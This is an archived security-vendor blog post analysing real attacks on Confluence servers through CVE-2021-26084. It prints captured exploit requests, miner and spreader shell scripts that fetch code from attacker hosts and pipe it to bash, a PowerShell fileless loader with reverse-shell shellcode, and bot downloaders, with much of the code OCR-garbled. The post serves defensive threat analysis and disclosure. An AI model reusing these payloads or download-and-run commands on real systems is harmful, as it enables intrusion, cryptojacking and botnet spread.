https://www.fortinet.com /blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server

Recent Attack Uses Vulnerability on Confluence Server |
FortiGuard Labs

By Cara Lin

Published: 2021-10-21 - Archived: 2026-04-02 10:39:53 UTC
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Affected platforms: Atlassian’s Confluence

Impacted parties: Confluence Server or Data Center instance

Impact: An OGNL injection vulnerability exists that would allow an unauthenticated user to execute arbitrary
code

Severity level: Critical

Introduction of CVE-2021-26084

In August 2021, Atlassian published a security advisory about CVE-2021-26084 that could enable a threat actor to

run arbitrary code on unpatched Confluence Server and Data Center instances. FortiGuard Labs analyzed the
situation and published a Threat Signal with relevant information. After releasing the advisory, there occur
massive scanning and proof-of-concept exploit code in public. We also collect a lot attacking traffic. In this blog
we will analyze the payloads leveraging this vulnerability, deep dive into the attack and summarize the IOCs for

these suspicious activities that may hint the network was affected by CVE-2021-26084.

Overview of CVE-2021-26084 Incidents

In September, we observed numerous threat actors targeting this vulnerability whose goal was to download a
malicious payload that would install a backdoor or miner in a user’s network. These threats include Cryptojacking,
Setag backdoor, Fileless attack that uses PowerShell in a system to execute shell without file dropped and Muhstik

botnet; we will elaborate each of them in this analysis.

Although there are different attack vectors for this vulnerability, all of these attacks are targeting the parameter

“queryString” which is shown in following packet capture:
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POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
content-type: application/x-www-form-urlencoded

accept-encoding: gzip, deflate

user-agent: Mozilla/5.@ (Windows NT 6.2; WOWe4) ApplelebKit/537.36
connection: close

accept: */*

host:

content-length: 8865

IqueryString=aaaaaaaaﬂBCuBBZ?%2B%?BC1355.ForName%28%5CuBB27javax.Scr
ipt#5CuBB27%29.%5CuBB65val®28%5CuBB2/var+isiins

%3D+java.lang.System.getProperty®28%5CuB0220s . name®5CuB022%29 . tolow
%3D+new+java.lang.String®28%5Cu0022%25COMSPECR25+%2Fb+%2Fc+start+k:
e+aQBmACgAWwWBJAGAAdABQAHQACgBdADOAOgBTAGkAegB1ACAALQBIAHEATAABACKAE
AdwBzAFAAbWB3AGUAcgBTAGgAZQBsAGWAXAB2ADEAL gAwAFwACABVAHCAZQByAHMAR.L
JwB9ADsAJABzADBATgBl1AHCALQBPAGIAagBlAGMAdAAgAFMAeQBZzAHQAZQBTACAARAE
0BsAGUATeBhAGBAZOASACOAYeA7ACOACWAUAEEACgBNAHUADOBL1AGAAdABZzADBA WAL

Fileless attack leverage CVE-2021-26084
Cryptojacking

After exploiting CVE-2021-26084, it downloads init.sh from 86.105.195[.]120. The shell is a crypto miner that

includes following tasks:

. Delete syslog

. Change commonly used command

. Stop aliyun services and apparmor

. Set the path for miner execution file (zzh) and itself but rename as newinit.sh
. Kill all other miner processes

. Use crontab to establish persistence

. Get scanning shell (is.sh)

0 N Y Ul R W N

. Clean the trace

queryString=aaaaaaaa%5Cu@827%2B%7BClass. forName%28%5Cu@@27javax.script.ScriptEngineManagers5CuB®27%29.newlnstance%28%29.getEngineByNam
e%28%5Cu@027JavaScripts5Cu@d27%29.%5CulB65vals28%5Cuf@27var+isWin+%3D+java. lang.System.getProperty%28%5Cud@220s . name%5Cud@22%29. toLowe
rCase%28%29.contains%28%5Cu@022win%5Cu0022%29%3B+var+cmd+%3D+new+java. lang. String%28%5Cu@@22curl+-o—++http%3A%2F%2FB6.105.195.120%2Fcl
eanfda%2Finit.sh+%7C+bash+%5C%5Cu@@3e%2Fdeva2 Fnull+2%5C%5Cu@@3e%5C%5CuB0261+%5C%5CuBB26%5CudB22%29%3Bvar+p+%3D+new+java. lang.ProcessBu

ilder%28%29%3B+1if%281isWin%29%7Bp. command%28%5Cu@@22cmd. exe%s5Cu0022%2C+%5CuB022%2 Fc%5CuB022%2C+cmd%29%3B+%7D+e 1se%7Bp. command%28%5Cu@02
2bash%5Cu@022%2C+%5CuB022-c%5Cud022%2 C+cmd%29%3B+%7Dp. redirectErrorSt ream%28t rue%29%3B+var+process%3D+p. start%28%29%3B+var+inputStream
Reader+%3D+new+java. io.InputStreamReader%2Bprocess.getInputStream%28%29%29%3B+var+bufferedReader+%3D+new+java. io.BufferedReader%28inpu
tStreamReader%29%3B+var+Lline+%3D+%5Cu0022%5Cu0022%3B+var+output+%3D+%5Cu0022%5CuP022%3B+while%28%28 line+%3D+bufferedReader. readLine%28
%29%29+%2 1%30+nu 1 1%29%7Boutput+%3D+output+%2B+Lline+%2B+java. lang.Character. toString%2810%29%3B8+%7D%5Cu827%29%7D%2B%5Cudn2 7

Payload Exploits CVE-2021-26084
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systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[ylunjing'; then
/usr/local/qcloud/stargate/admin/uninstall. sh
/usr/local/qcloud/Yunling/uninst. sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
1

ketenforce @

echo SELINUX=disabled >/etc/selinux/config
Eervice apparmor stop

Eystemctl disable apparmor

ervice aliyun.service stop

Eystemctl disable aliyun.service

ps aux | grep -v grep |

grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %

pbs aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %

m -rf /usr/local/aegis
m =f /tmp/.null 2>/dev/null

iner_url="http://86.105.195.120/cleanfda/zzh"
iner_url_backup="http://86.105.195.120/cleanfda/zzh"
iner_size="7432520"
Eh_url="http://86.105.195.1208/cleanfda/newinit.sh"
Eh_url_backup="http://86.1085.195.120/cleanfda/newinit.sh"
hattr_size="80080"

Inti.sh

In the scanning shell, it will try to download a scanning tool, like Masscan, Pnscan, etc, which can be used to scan
and survey IPv4 TCP network in order to discover live host to proceed the spreading. The downloader path is
shown as below. It also downloads a shell that defines specific steps for the scan. First, get the login brute force
tool hxx (md5: f0551696774f66ad3485445d9e3f7214) and account/password list ps (md5:
a43ad8a740081f0b5a89e219fe8475a3), then scan the subnet belong to private network (172.16.0.0/12,
192.168.0.0/16, 10.0.0.0/8). This is to allow the malware to login into more devices in victim’s intranet and spread

miner script (init.sh).

f ! v masscan)

! x "s( J
rf fvar/lib/apt/lists/+
rf xl.tar.gz

pl
tbbdira -sL -o x1.tar.gz http://86.1@5.195.12@/b2f628fff19fda999999999/1.0.4.tar.gz
pl

£

f xl.tar.gz zxf x1.tar.gz &% cd masscan-1.0.4 &4 &5 install &5 e &5 rf masscan-1.0.4

In

if ! ( % fusrf/local/bin/pnscan x fusr/bin/pnscan | ); then
tbbdira -sL -0 .x112 http://86.105.195.120/cleanfda/pnscan.tar.gz scedira =g -0 .x112 http://86.105.195.128/cleanfda/pnscan.tar.gz
pl

i pnscan &5 . install && P rf pnscan .x112

http://86.185.195.128/cleanfda/rs.sh
tbbdira http://86.185.195.1208/cleanfda/rs.sh
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Downloader path in is.sh

1
{ fe
EUID = @

q -0 /tmp/ps http://86.185.195.128/cleanfda/ps
q -0 /tmp/hxx http://86.105.195.1208/cleanfda/hxx

777 /tmp/hxx
rf ftmp/sshcheck /tmp/ssh_vuln.txt /tmp/scan.log /tmp/ipss
172.16.8.8/12 192.168.0.8/16 10.8.08.08/8 —max- 30000 (pr /tmp/ipss
ftmp/hxx 50 -f /tmp/ipss /tmp/ps 22 'curl - . e et —=q -0- http
Finished
9 hxx

Scannng steps in rs.sh

The entire workflow can be seen below.

86.105.195.120

4) Get Masscan,Pnscan and Shell for Spreading
5) Get SSHBrueForce Tool and Account/Password List
1) Get UPX Packed Miner Intranet

2) Get Mewinit shell file

3) Get Scanner Shell file
6) Scan Intranet

7) Try to Login and spread init.sh file for Miner

0) Leverage CVE-2021-26084 Initiate Attack

var cmd=new java.lang.String{"cur -o hitp://
86,105,195, 120/cleanfdalinit. sh | bash ...

Confluence Server
86.105.195.154

Confluence server

Setag

The following exploit traffic was observed from IP address 86.105.195.154 (AS 3164 Astimp IT Solution SRL).
Setag, also known as BillGates or Ganiw, belongs to a well-known malware family that targets server via 1 day
vulnerability. It mainly uses UDP/SYN/ICMP/DNS floods to conduct DDoS attack. But it also has various
command can check its own status or control their victims. The command for dos attack or controlling their

victims can be seen in following rawdata:
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_27rs1icBillsStatus db ‘11CBillStatus’,0 ; DA’

align
public _ITI15CCommonResponse ;

i “typeinfo for'CCosmonResponse

i _2TI15CCommonResponse dd offset off 8131F28
dd offset _zTS1SCCommonResponse ; '15C
dd offset _ZTI7CSerial ; typeinfo for'C
public _27815CCommonResponse ; weak

; “typeinfo name for'CCommonResponse

_1T515CC: db " 15C

ponse

FEEAS ; “typeinfo name for'CAttackldp
§ _ITS10CAttackUdp db °10CAttackUdp',0 3 DATA XREF: .rodata:0B80FEEAOT.
BS align 4
public _ZTI10CAttackSyn ; weak
“typeinfo for'CAttackSyn
ZTI10CAttackSyn dd offset off B131F28
dd offset _ITSIOCAttackSyn ;

ATA XREF: .rodata:080FFSAStc
align 4

publie _ZTI11lCUpdateBill ; weak

i “typeinfo for'CUpdateBill

dd offset _ZTIl3CPacketAttack ; y! or 'CPackethAttack
public _ITS10CAttackSyn ;
“typeinfo name for'CAttackSyn
2TS10CAttackSyn db '10CAttackSyn',0
align &
ublic _ITI1lCAttackIcmp ; weak
info for'CAttackIemp
:rrnnct-cum Gd offast off_§131F28
dd offset _3TS1ICAttackIer 11c
dd offset _ZTIl3CPacketAttack ;
public _zTS1iCAttacklcmp ; weak
fo name for'CAEtackIcmp
z'rsncnucucw dh ‘Jluueckrcmp «0 ATA XR data: 080

offset _2TS11CUpdateBill ; "1lCUpdateBill
dd offset _ITI7CSerial ; typeinfo for'CSerial
public _3T511CUpdateBill ; weak
; “typeinfo name Ffor’ CUpdateBill
msllcu;;dnemn db '11CUpdateBill’,0 ; DATA XREF: .rodata:080FF5C8t
align 10h
public _ZTI12CUpdateGates ; wesk
“typeinfo for'CUpdateGates
_srIlicupdatecates dd offset off_8131F28
dd offset _zTS12CUpdateGates 2CuUpdateGates”
ey £o for'Csarial

public _ZTS12CUpdateGates
_typeinto name for: CUpdut.ecueu

10h
ubn: z-nlocm_t-:kuu i weak :
_3T512C! *12cupd ‘0

for'CAtta
ZTIWW&“!:)«DM dd cfun off Bl31F28
dd offset _ITSTOCAttackbns ; "10CAt
dd offset ﬂnsc?lckeuttack i
ublic _#T510CAttackDns
& info name for'CAttackDna
#T810CAttackDns db '10CAttackDns',0 ATA XREF: .rodata:0B0FEEF410
align &

align 4
public _ZTIS8CLoopCmd ; weak
typeinfo for'CLoop
sr[scLoopmd dd u“ut off_8131F28
offset _ZTS8CLoopCmd
dd offset _ZITITCSerial
public _2TSECLoopCmd ; w
; “typeinfo name for'CLoo)
_3TS8CLoopCad  db '8CLoopCmd’, 0 AT
nliqn 4
lic _2TI9CShellCmd ; weak
“typeinfo for' csh Llcmd
an‘icshel.lmd dd offset off _8131F28
dd offset _ZTSICShellCmd ; “9CShellcmd

or 'CPacketAttack

Syna

Fileless Attack

The observed packet is from 141.98.83.139 (AS 209588 Flyservers S.A.) and the main payload is b64 encoded.

The decoded data is as follow:

if([IntPtr]::5ize -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\vl.®\powershell.exe'}else{$b="powershell.exe'};$s=New-Object
System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments="'-nop -w hidden -c &([scriptblock]::create( (New-Object

System. I0.StreamReader (New-0bject System.IO0.Compression.GzipStream((New-0Object

System.I0.MemoryStream(, [System.Convert]::FromBase645tring(( (' 'H4sIABgHUZECATVXbW/aSBD+Xqn/waqQMCrBIiFtL1K1WxsbTCDFMSEBBik60vbY3ILFTH
XgJOr//9Zm3Ii5r2cidlv+DdnZmd feaZmSXYxB4nLIbYRIe+vX@j7cfQTd21IFeCttUZ1KXKau7VHncrYTSU{1  kvyAiVIm61dEL/ {1}zvRNmuKY1/

NGB30UZXh9TQn05] rétzSNcIq{1}v1zfYI9L36TKX400Zdcu3YviuutFWDpCsS/2+sxzhWHNJBGEyIWy ' '+' ' X6ulxVFz2TBuNyTNSKqTZxyvGz611Z rdvSYOHOUI LqsDdq
Us"'+''YWFVTELBctwYx5kb4AuwdocHmEfMz6pwl8 fbpIhv@rid LLBSyshV+BymzEQ+n+Isq9alhbC/WC7/

1Bf7wy83MSdr3LBij LOWODi" '+' '9Ix70G1039im+xMEStByekjhclmogdsdwWWK7EGArron8xI1/g70G61yrlT5VAas]j TWh1C+uM1B8z fUFwqV1/ws2RBDcaeCQDfd4Fgc'
"+' 'GD{1}Vis9n73AnBeFwlgU0xh8locsI4X2Z0mt SwM43uls zZWFaGalbXFs+IC5V+LbY ' '+' ' cequiNdcBEILMLQArWFpMG{1}GX] ' ' +' 'waeMaDij 7CQ+Tmd2zggMW7 nsb
sm3oGxBkthwQHFBSiNg9' '+' ' gFOChX9xvYb20KQ5 cLpAU7f1Az10Q/

6GobQn2cIg9Cm4FXE{1}Xac2 FKAMLVKx7gNcBXzoGulQDyBB+k97mRHO4XcxCqbtTNSsro@3ECienXIwS7FF11" '+' ' CcUb2W2 j DWFFZfXR3sKGceGTGD+aWtedoTk/VWZzx
dONBXAGBkZNgj 7hUAFKXus THWUBQBHBEIUU4dIdSyB+wd ' ' +' ' AfhgBUBgBMFW1)wtGRG reFgbg@TitcgVBQOkT7ohlI19mhT8ck{1}sV1929JANIfUFMADEN rgJ@XYo43Vp
QLlIOVUiALOj1/7z4s0AJd/QU7E6MjH7 JsoeVCZEE" '+' ' LowiSTiEqAEKSgGGMbK25GT7QKkuN/
E4xS{1}t02Gb3CIZhXtoTzR1{1}5tbA71HH4sTMI{1}1xFFmkaY''+"' 'UwzBeGusvH4ZC rybnT7gKovYsCZGWWOdVyubkhros+TnraeAx6R0/bNzsL+do6vApn+tYaRl' '+
' ' CWHKT3QyuEX82K{1}E2dq6GmWt zgm] pBVBQ6d tduNeeWBolg5N6xHNSdj kbdnj j {1}9rq9t ruDcd4xWq3ulG6GLQ' '+ ' Q9F5hffbBEbkdBfCf35qtNvGBXCE3NT LhnEMG
T21BL+40kk@aaG0bcniRW+34b2pK+8zEiDdYvs+om)wGg2e3exTz+gn+dH4K49mT cInlshzkNkI+TMYupcb3Vk5s2baWIEVHMMabuRFe/
s62Tg570u8sdkQHDCKGAGZFIIOjVyt22 LOWXnQuTULVFUd1vjRtkapLdd7X/Hn " '+' 'Q8fQiVoDZWIYBVANILA3T 2XWpHeedhbuxN1FigTgV/
bilX7+Iq6073]6LXSHI{1}2RA22CO5dDDx6qBGIwcapfe3dYyBKwCer/GSHVyw+Do{1} ZZTw4NBbWMQYCINRI46UIa3gg90LATf ce3GeWmEMgdG/mAozi/

sG40''+' 'bel2Mzilci6L50D8WsT7etyB701i" '+ "RADSYjgXu' '+" ' 18BwQnOumXfK+qdc3tztNz4yTy223ac2xiDXYbN3efUR+WIG{1}XE{1}RFoF9{1}fxiDeF7as/YGBk
doE2KEc1G5qY1W2q401Y+Itu2{1}Ng7NSGmR"' '+" ' ZE9s2chyBp6IRVZt] 1C1069aM506 fk+D+xAidIBGLIGI0YnxBLKINVDAU" "+ '"WivnlTYSv3ST rorl003DSLXAppBo
IyU0IMLpr71jdkRGjIsnhAr' '+" ' XAaYwpvDniVHIoEopRSovGW{ 1}RKE T tmLxdNgbBVuvfRVkx4Ea48t+bBadj YHLEHUZI1GHBchj +rq7kRVoY+q07VVVIf
X30xnS56DgbrowwkX@jAtDIMtEK' '+' ' iy/NuBgscWh5r/C6h+hhqcvYIaDU2j rlsC048x+h558 Lo{1}RHjEDQBrwr' '+" 'UX4plVBg{1}@j/
At1HTxCHnGgKkkEWI1zLT72R/D] /ytiHtd+s fsqFqnlApwfVp8v{1}0mbvw+BqUs4CDr{xSguHlY /AWK fIUBCnKSOABF+1iDBcXzbB6AKesEUD/ QeZnda/60wAAA{B} {0} ' ")
-f'i='", ' p 1)), [System. I0.Compression. CompressionMode] : :Decompress)) ) .ReadToEnd())) '; $s.UseShellExecute=$false; $s.RedirectStanda
rdOutput=$true; $s.WindowStyle="Hidden'; $s.CreateNoWindow=$true; $p=[System.Diagnostics.Process]::Start($s);

First layer decoded data

We can see that the payload is constructed and executed via PowerShell. The final execution will set
“WindowStyle” to hidden and “CreateNoWindow” to True, which is to put itself out of sight. We decoded those
data in the middle and replace {0} and {1} with “=” and “P”, then 2nd layer payload data
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function oVC { Param ($fDIGM, $kZc)
$ghP = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And
$_.Location.Split(*\\') [-1] .Equals('System.d1l') }).GetType('Microsoft.Win32.UnsafeNativeMethods"')
return $ghP.GetMethod('GetProcAddress', [Type[]l@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null,
@( [System.Runtime. InteropServices.HandleRef] (New-Object System.Runtime,InteropServices.HandleRef((New-Object IntPtr),
($ghP.GetMethod( 'GetModuleHandle')).Invoke($null, @($fDIGM)))), $kZc))

}
function wBSKY {Param (
[Parameter(Position = @, Mandatory = $True)] [Typell]l $twdGS,

[Parameter(Position = 1)] [Type] $xflk = [Void
$dTe = [AppDomain] ::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), I
System.Reflection.Emit.AssemblyBuilderAccess]: :Run).DefineDynamicModule( ' InMemoryModule',
$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$dTe.DefineConstructor('RTSpecialMame, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
$tw4GS) .SetImplementationFlags('Runtime, Managed')
$dTe.DefineMethod( 'Invoke', 'Public, HideBySig, NewSlot, Virtual', $xflk, $tw4GS).SetImplementationFlags('Runtime,
Managed')
return $dTe.CreateType()}
[Byte[]]1$sG = [System.Convert]::FromBase64String(“/EiD5PDozAAAAEFRQVBSUVZIMAI1SItSYEILURhIi1IgSItyUEBxyUgPt@pKSDHArDxhfAIsIEHBYQ1BA
cHi?UJBUUiLUiCLﬂjxIAdEmgXgYCNIPhXIAthLgIgAﬁkBIhcEﬂZﬂgBﬁItIGFBEing50H04lZIP
(.. omit)
[Uint32] $hwC4aP = @
$oka = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((oVC kernel32.dll VirtualAlloc), (wBSKY @([IntPtr],
[UInt32], [UInt32], [UInt32]) ([IntPtrl))).Invoke([IntPtr]::Zero, $sG.Length,@x3000, 8x@4)
[System.Runtime.InteropServices.Marshal]::Copy($sG, @, $oka, $s5G.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((oVC kernel32.dll VirtualProtect), (wB5KY @([IntPtr],
[UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Booll))).Invoke($oka, [Uint32]$sG.Length, 0x1@®, [Ref]$hwC4P)) -eq $true) {
$pr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((oVC kernel32.dll CreateThread), (wB5KY
@( [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]})).Invoke( [IntPtr]::Zero, @, $oka, [IntPtr]::Zero,@, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer({oVC kernel32.dll WaitForSingleObject), (wB5KY
@( [IntPtr], [Int32]))).Invoke($pr,@xffffffff) | Out-Null

Second layer payload data

It defined two functions, and one variable that contain the main exploit code. After converting the code in $sG, it
will use VirtualAlloc to reserve a part of memory. Then it uses CreateThread to invoke the malicious code. So

what exactly $sG is? After b64 decoding, we get about 570 bytes binary data as below:

@Y 45 83 E4 F@ ES CC @@ 0@ 0@ 41 S1 41 58 52 51 .H........AQAPRQ
1§ 56 48 31 D2 65 48 BB 52 6@ 48 BB 52 18 4B BB 52 VH1..H.R"H.R.H.R
AEGRRE20 20 48 BB 72 58 4D 31 €9 48 @F B7 44 4A 48 31 €@ -H.rPM1....JJH1.
PEEEEE3R AC 3C 61 7C @2 2C 20 41 €1 C9 @D 41 @1 C1 E2 ED .<a|.,-A...A....
52 41 51 48 8B 52 20 BB 42 3C 48 91 D@ 66 81 78 RAQH.R-.B<H....x
15 @B @2 @F 85 72 @0 @@ 09 BB 30 355 00 02 80 48 ..... . H
85 (@ 74 67 45 91 DD 8B 48 15 50 44 86 490 20 49 . ..gH.H-H.PD.@-I
@1 D@ E3 56 48 FF €9 41 8B 34 88 48 @1 D6 4D 31 ...VH....4.H...1
C9 48 31 €0 41 C1 C9 @D AC 41 @1 C1 38 E® 75 F1 ..l....ceBivuucs
1B EE { 4C 83 4C 24 88 45 39 D1 75 D8 58 44 8B 48 24 49 L.L$.EQ....D.@$I
PEEEEEAR @1 DO 66 41 BB OC 48 44 BB 48 1C 45 61 D@ 41 88 ...A..HD.@.I....
AEGRERER B4 838 41 58 41 S8 48 @1 DO SE 59 S5A 41 58 41 59 . AXAXNH...YZAXAY

@aCe 41 S5A 48 83 EC 20 41 52 FF E@ S8 41 59 SA 48 88 AZH....R....YZH.
12 E9 4B FF FF FF SD 49 BE 77 73 32 SF P B8 ......]T.ws2 32,
¥ 41 56 49 89 E6 48 81 EC AP 01 80 @80 49 89 E5S  .AVI....eusseles
49 BC @2 @@ SC BS 8D 62 53 8B 41 S4 49 89 E4 4C I...%..bS.ATI...
89 F1 41 BA 4C 77 26 ©7 FF DS 4C B9 EA 6B 81 01  .....wE...ouuuus

570 bytes binary data

To dive deep in to this, we have to check this binary by IDA. Following the first call into loc_D6, it puts ws2_32

and move edx, 726774ch, and this is the hash value of LoadLibrary function, the detail code is as below:

Seg0e0: peesesa segeee segment byte public 'CODE" use32

Segkod: aeooena assume cC5:52g0ee

segled: peesenns assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
sSegled: aeesenns FC cld

Segled: apenenal 48 dec eax

SEeghee: eenesa2 83 E4 Fe and esp, @FFFFFFF@h

Seglof: eoeeaas E8 CC 80 82 8o call loc_D6

Seg0es: aeesesan 41 inc ecx

Seghee: aeeeenss 51 push ecx

sSeglee: eeeeeeac 41 inc ecx
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The hash value of LoadLibrary function

SEgE00 : BBeBaads loc_D6: ; CODE XREF: seg@ee:eeeeeeestp
seg@oa : epapaads 5D pop ebp
segboo: aeeeaaly 49 dec ecx
seg@ee:eaeeeads BE 77 73 32 SF mov esi, ' 2sw’
: Baaeaabs ] e e e S E e S ————
eaaeaadD 33 db '3
@oeeaaDE 32 db "2’
PRRRRRDF 00 db @
eeeeaace oo db @
: BBOBBBEL e et b it LTt
1 BEBBEAEL 41 inc ecx
5egP00: BORBARE2 56 push esi
5egB00: PERBARES 49 dec ecx
segboo : POABABEL 89 E6 mov esi, esp
segbo: BORBARES 48 dec eax
5egB00: B000aREY 81 EC AR @1 @@ ae sub esp, 14A@h
5egBea: PERBARED 49 dec ecx
segBoo : GBOPAREE 89 ES mov ebp, esp
segboo: 00eeaare 49 dec ecx
5egle0:peeeaarl BC e2 88 5C BS mav esp, @B55C@eazh
5eg8e0: peeeears 80 62 53 lea esp, [edx#53h]
segbbo : BERBBAF9 8B 41 54 mov eax, [ecx#54h]
segboo : aeRBaarC 49 dec ecx
Segeea: peeeaarD 89 E4 mov esp, esp
5egBea: PERBRBFF 4C dec esp
segboo : peRBe10e 89 F1 mov ecx, esi
segbod: aeeea1a2 41 inc ecx
Segeea:peeeales BA 4C 77 26 &7 mov edx, 726774Ch
s5£g000: 80000103 FF DS call ebp ; LoadLibrary('ws2_32.d11");
segbno : BERBR1aA AC dec esp
segbo:pPeeales 89 EA mov edx, ebp
Seglea:peeealeD 68 @1 81 o8 ee push 181
SegEe0:epeeall2 59 pop ecx
segtBo : peesa113 41 inc ecx
seghbd: aeeealld BA 29 58 6B @8 mov edx, 6B882%h
segPee:epeealls FF DS call ebp

It is a reverse shell meterpreter shellcode that connects to exploit source 141.98.83[.]139 via tcp port 23733. Since
the port now is closed, we only managed to capture the following packets. But the entire attack process only
leveraged PowerShell to decode layer by layer, and uses hidden window style to hide itself. And finally, create a
thread to achieve the reverse shell. Not a single file is dropped in the entire attack, which is known as fileless

attack.

Source Destination Protocol Length DestPort  Info

141.

141.98.83.139 192.168.2.108

Mubhstik

By exploiting CVE-2021-26084, it downloads conf2 from 149.28.85[.]17. The file will deploy and execute dk86
from 188.166.137[.]241 and Idm script. The attack scenario afterward is analyzed in this article, but we observed a

different server IP and more attack source IP which is intended to spread conf2 of Muhstik.
=0 /dev/shm/pty86 http://188.166.137.241/wp-content/themes/twentyseventeen/dk86; chmod +x /dev/shm/pty86; /dev/shm/ptyB6 &
1 -0 /dev/shm/pty86 http://188.166.137.241/wp-content/themes/twentyseventeen/dk86; chmod +x /dev/shm/pty86; /dev/shm/pty86 &

-0 /tmp/ptyB6 http://188.166.137.241/wp-content/themes/twentyseventeen/dkB6; chmod +x /tmp/ptyB6; /tmp/pty86 &
-0 /tmp/ptyB6 http://188.166.137.241/wp-content/themes/twentyseventeen/dkB6; chmod +x /tmp/ptyB6; /tmp/pty86 &

(curl http://153.121.58.1082:80/wp-content/themes/zuki/m8 || wget -q0 - http://153.121.58.102:88/wp-content/themes/zuki/m8) | bash > /fdev/
null 2=&1 &
wget —q0 - http://18.235.127.58/1dm | bash > /dev/null 2=&1 &
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Different conf2 downloader

Conclusion

We have been tracking this vulnerability for weeks and observing massive threat exploitation targeting Atlassian
Confluence. Although the patch for CVE-2021-26084 is already released, public attacks are still undergoing. In
this post, we gave detail of those attacks and illustrate how they using the payload to deliver malware, users

should upgrade the system immediately and also apply Fortiguard protection to avoid the threat probing.

Fortinet Protections

For vulnerability CVE-2021-26084, Fortinet already release IPS signature Atlassian.Confluence.CVE-2021-
26084.Remote.Code.Execution for it to proactive protect our customer. For payloads described are detected and
blocked by the FortiGuard AntiVirus.

The downloading URLSs and attacker's IP addresses have been rated as "Malicious Websites" by the FortiGuard

Web Filtering service.

10C
Value Item
86.105.195.154 Cryptojacking expolit source IP address
86.105.195.120 Cryptojacking dropper hosting IP address

hxxp://86.105.195.120/cleanfda/init.sh
911e417b9bc8689a3eed828f0b39f579
hxxp://86.105.195.120/cleanfda/newinit.sh

75259ee2db52d038efea5f939{68f122 hxxp://86.105.195.120/cleanfda/zzh
4a7bf7f013cc2297d62627b2b78c5b0b hxxp://86.105.195.120/cleanfda/is.sh
8cc2b831e29dc9f4832a162e9f425649 hxxp://86.105.195.120/cleanfda/rs.sh
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2.57.33.59 Setag expolit source IP address
209.141.50.210 Setag dropper hosting IP address
aB8eb59396d698bda5840c8b73c34a03b hxxp://209.141.50.210/syna
141.98.83.139 Fileless attack expolit source IP address
1b8a7954b9630be2e0dd186a4fc6a32a 2nd layer payload data
bf8a7b199f3293852c7f2b3578e8c0ae Binary shellcode

98.239.93.20

87.106.194.46
51.75.195.137
34.247.148.227
Mubhstik exploit source IP address
121.196.25.170
221.168.37.77

122.9.48.250

18.182.153.49

149.28.85.17 Conf2 dropper hosting IP address

6078c8a0c32f4e634f2952e3ebac2430 hxxp://149.28.85.17/conf2

Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard

Security Subscriptions and Services portfolio.

Learn more about Fortinet’s free cybersecurity training, an initiative of Fortinet’s Training Advancement Agenda

(TAA), or about the Fortinet Network Security Expert program, Security Academy program, and Veterans
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program. Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security

Subscriptions and Services portfolio.

Source: https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server
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